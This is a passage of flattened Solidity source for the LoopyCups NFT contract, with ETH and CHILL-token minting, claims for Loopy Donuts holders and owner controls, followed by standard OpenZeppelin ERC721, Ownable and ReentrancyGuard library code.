* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
* @custom:security-contact [email protected]
*/
contract LoopyCups is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public immutable MAX_TOKENS;
uint256 public immutable MAX_FOR_SALE;
uint256 public immutable MAX_FOR_CHILL_SALE;
uint256 public immutable OFFSET_START;
string public PROVENANCE;
uint256 public SALE_END;
uint256 public cupPrice = 0.025 ether;
uint256 public cupChillPrice = 750 ether;
uint public constant maxCupsPurchase = 20;
bool public saleIsActive = false;
// Base URI
string public baseMetadataURI;
// Backup URIs
mapping (uint256 => string) public backupURIs;
// Contract lock - when set, prevents altering the base URLs saved in the smart contract
bool public locked = false;
// Tracks how many Loopy Cups have been purchased with ETH
uint256 public cupsPurchasedWithEth = 0;
// Tracks how many Loopy Cups have been purchased with CHILL
uint256 public cupsPurchasedWithChill = 0;
// Tracks burnt tokens
mapping (uint256 => bool) public burntCups;
// Loopy Donuts smart contract
NFTContract public immutable loopyDonuts;
// Chill Token contract
IChill public immutable chillToken;
/**
@param _name - Name of the ERC721 token.
@param _symbol - Symbol of the ERC721 token.
@param _maxSupply - Maximum number of tokens to allow minting.
@param _maxForSale - Maximum number of tokens to allow selling.
@param _maxForChillSale - Maximum number of tokens to allow selling with Chills.
@param _saleEndTs - Timestamp in seconds of sale end.
@param _provenance - The sha256 string of concatenated sha256 of all images in their natural order - AKA Provenance.
@param _metadataURI - Base URI for token metadata
@param _ldAddress - Address of the Loopy Donuts smart contract.
@param _chillToken - Address of the Chill token
*/
constructor(string memory _name,
string memory _symbol,
uint256 _maxSupply,
uint256 _maxForSale,
uint256 _maxForChillSale,
uint256 _saleEndTs,
string memory _provenance,
string memory _metadataURI,
address _ldAddress,
address _chillToken
)
ERC721(_name, _symbol)
{
MAX_TOKENS = _maxSupply;
MAX_FOR_SALE = _maxForSale;
MAX_FOR_CHILL_SALE = _maxForChillSale;
SALE_END = _saleEndTs;
PROVENANCE = _provenance;
baseMetadataURI = _metadataURI;
loopyDonuts = NFTContract(_ldAddress);
chillToken = IChill(_chillToken);
OFFSET_START = MAX_TOKENS - MAX_FOR_SALE;
}
/**
* @dev Throws if the contract is already locked
*/
modifier notLocked() {
require(!locked, "Contract already locked.");
_;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function payTo(address to, uint256 amount) public onlyOwner {
require(to != address(0), "Not allowed to send to 0 address");
uint balance = address(this).balance;
require(amount <= balance, "Not enough balance");
payable(to).transfer(amount);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
/**
* Reserve Loopy Cups.
*/
function reserveCups(address to, uint256 amount) public onlyOwner {
uint offset = OFFSET_START + cupsPurchasedWithEth + cupsPurchasedWithChill;
require(offset + amount <= MAX_TOKENS, "Reserving would exceed supply.");
for (uint i = 0; i < amount; i++) {
_safeMint(to, offset + i);
}
}
/**
* Sets the sale ending timestamp
*/
function setSaleEndTimestamp(uint256 newDate) public onlyOwner notLocked {
SALE_END = newDate;
}
/*
* Set provenance hash - in case there is an error.
* Provenance hash is set in the contract construction time,
* ideally there is no reason to ever call it.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner notLocked {
PROVENANCE = provenanceHash;
}
/**
* @dev Pause sale if active, activate if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* @dev Locks the contract - prevents changing it's properties.
*/
function lock() public onlyOwner notLocked {
require(bytes(baseMetadataURI).length > 0,
"Thou shall not lock prematurely!");
locked = true;
}
/**
* @dev Sets the price for minting
*/
function setPrice(uint256 newPrice) external onlyOwner notLocked {
require(newPrice > 0, "Invalid price.");
cupPrice = newPrice;
}
/**
* @dev Sets the price for minting
*/
function setChillPrice(uint256 newPrice) external onlyOwner notLocked {
require(newPrice > 0, "Invalid price.");
cupChillPrice = newPrice;
}
/**
* @dev Sets the Metadata Base URI for computing the {tokenURI}.
*/
function setMetadataBaseURI(string memory newURI) public onlyOwner notLocked {
baseMetadataURI = newURI;
}
/**
* @dev Modifies the backup Base URI of `backupNumber`.
*/
function modifyBackupBaseURI(uint256 backupNumber, string memory newURI) external onlyOwner notLocked {
backupURIs[backupNumber] = newURI;
}
/**
* @dev Adds a new backup Base URI corresponding to `backupNumber`.
* Allows adding new backups even after contract is locked.
*/
function addBackupBaseURI(uint256 backupNumber, string memory newURI) external onlyOwner {
require(bytes(backupURIs[backupNumber]).length == 0, "LoopyCups: URI already exists for backupNumber");
backupURIs[backupNumber] = newURI;
}
/**
* @dev Returns the tokenURI if exists.
*/
function tokenURI(uint256 tokenId) public view virtual override(ERC721) returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
// Deployer should make sure that the selected base has a trailing '/'
return bytes(baseMetadataURI).length > 0 ?
string( abi.encodePacked(baseMetadataURI, tokenId.toString(), ".json") ) :
"";
}
/**
* @dev Returns the backup URI to the token's metadata -
* as specified by the `backupNumber`
*/
function getBackupTokenURI(uint256 tokenId, uint256 backupNumber) public view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory backupURI = backupURIs[backupNumber];
require(bytes(backupURI).length > 0, "LoopyCups: Invalid backupNumber");
return string( abi.encodePacked(backupURI, tokenId.toString(), ".json") );
}
/**
* @dev Returns the base URI. Internal override method.
*/
function _baseURI() internal view override(ERC721) returns (string memory) {
return baseMetadataURI;
}
/**
* @dev Returns the base URI. Public facing method.
*/
function baseURI() public view returns (string memory) {
return _baseURI();
}
/**
* @dev Returns an array of all the tokenIds owned by `ownerToCheck`.
*/
function tokensOfOwner(address ownerToCheck) public view returns (uint256[] memory) {
uint256 balance = balanceOf(ownerToCheck);
uint256[] memory tokenIds = new uint256[](balance);
for (uint256 i = 0; i < balance; i++) {
tokenIds[i] = tokenOfOwnerByIndex(ownerToCheck, i);
}
return tokenIds;
}
/**
* @dev Claims all Loopy Cups for the Loopy Donuts holder `msg.sender`
* which were not already claimed.
*/
function claimAll() public nonReentrant {
require(saleIsActive, "Sale is not active.");
uint balance = loopyDonuts.balanceOf(msg.sender);
for (uint i = 0; i < balance; i++) {
uint donutId = loopyDonuts.tokenOfOwnerByIndex(msg.sender, i);
if (!(_exists(donutId) || burntCups[donutId])) {
_safeMint(msg.sender, donutId);
}
}
}
/**
* @dev Claims Loopy Cups for the holder `msg.sender` -
* of unclaimed Loopy Donuts specified by `donutIds`.
*/
function claimSpecific(uint256[] calldata donutIds) external nonReentrant {
require(saleIsActive, "Sale is not active.");
for (uint i = 0; i < donutIds.length; i++) {
uint donutId = donutIds[i];
require(msg.sender == loopyDonuts.ownerOf(donutId), "Not owner of Donut");
if (!(_exists(donutId) || burntCups[donutId])) {
_safeMint(msg.sender, donutId);
}
}
}
/**
* @dev Mints Loopy Cups.
* Ether value sent must exactly match.
*/
function mintCups(uint toMint) public payable nonReentrant {
require(saleIsActive && block.timestamp < SALE_END, "Sale is not active.");
require(toMint <= maxCupsPurchase, "Can only mint 20 Cups at a time.");
require(cupsPurchasedWithEth + cupsPurchasedWithChill + toMint <= MAX_FOR_SALE, "Not enough Cups for sale.");
require(cupPrice * toMint == msg.value, "Ether value sent is not correct.");
uint offset = OFFSET_START + cupsPurchasedWithEth + cupsPurchasedWithChill;
cupsPurchasedWithEth += toMint;
for(uint i = 0; i < toMint; i++) {
_safeMint(msg.sender, offset + i);
}
}
/**
* @dev Mints Loopy Cups with Chill.
* Ether value sent must exactly match.
*/
function mintCupsWithChill(uint toMint, uint fromWallet, uint[] calldata donutIds, uint[] calldata amounts) public nonReentrant {
require(saleIsActive, "Sale is not active.");
require(toMint <= maxCupsPurchase, "Can only mint 20 Cups at a time.");
require(cupsPurchasedWithEth + cupsPurchasedWithChill + toMint <= MAX_FOR_SALE, "Not enough Cups for sale.");
require(cupsPurchasedWithChill + toMint <= MAX_FOR_CHILL_SALE, "Not enough Cups for sale with CHILL.");
uint totalChill = fromWallet;
for(uint i = 0; i < amounts.length; i++) {
totalChill += amounts[i];
}
require(cupChillPrice * toMint == totalChill, "CHILL value sent is not correct.");
if (fromWallet > 0) {
chillToken.externalBurnFrom(msg.sender, fromWallet, 0, "");
}
if (amounts.length > 0) {
chillToken.externalSpendMultiple(msg.sender, donutIds, amounts, 0, "");
}
uint offset = OFFSET_START + cupsPurchasedWithEth + cupsPurchasedWithChill;
cupsPurchasedWithChill += toMint;
for(uint i = 0; i < toMint; i++) {
_safeMint(msg.sender, offset + i);
}
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
burntCups[tokenId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./INFTYieldedToken.sol";
interface IChill is INFTYieldedToken{}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
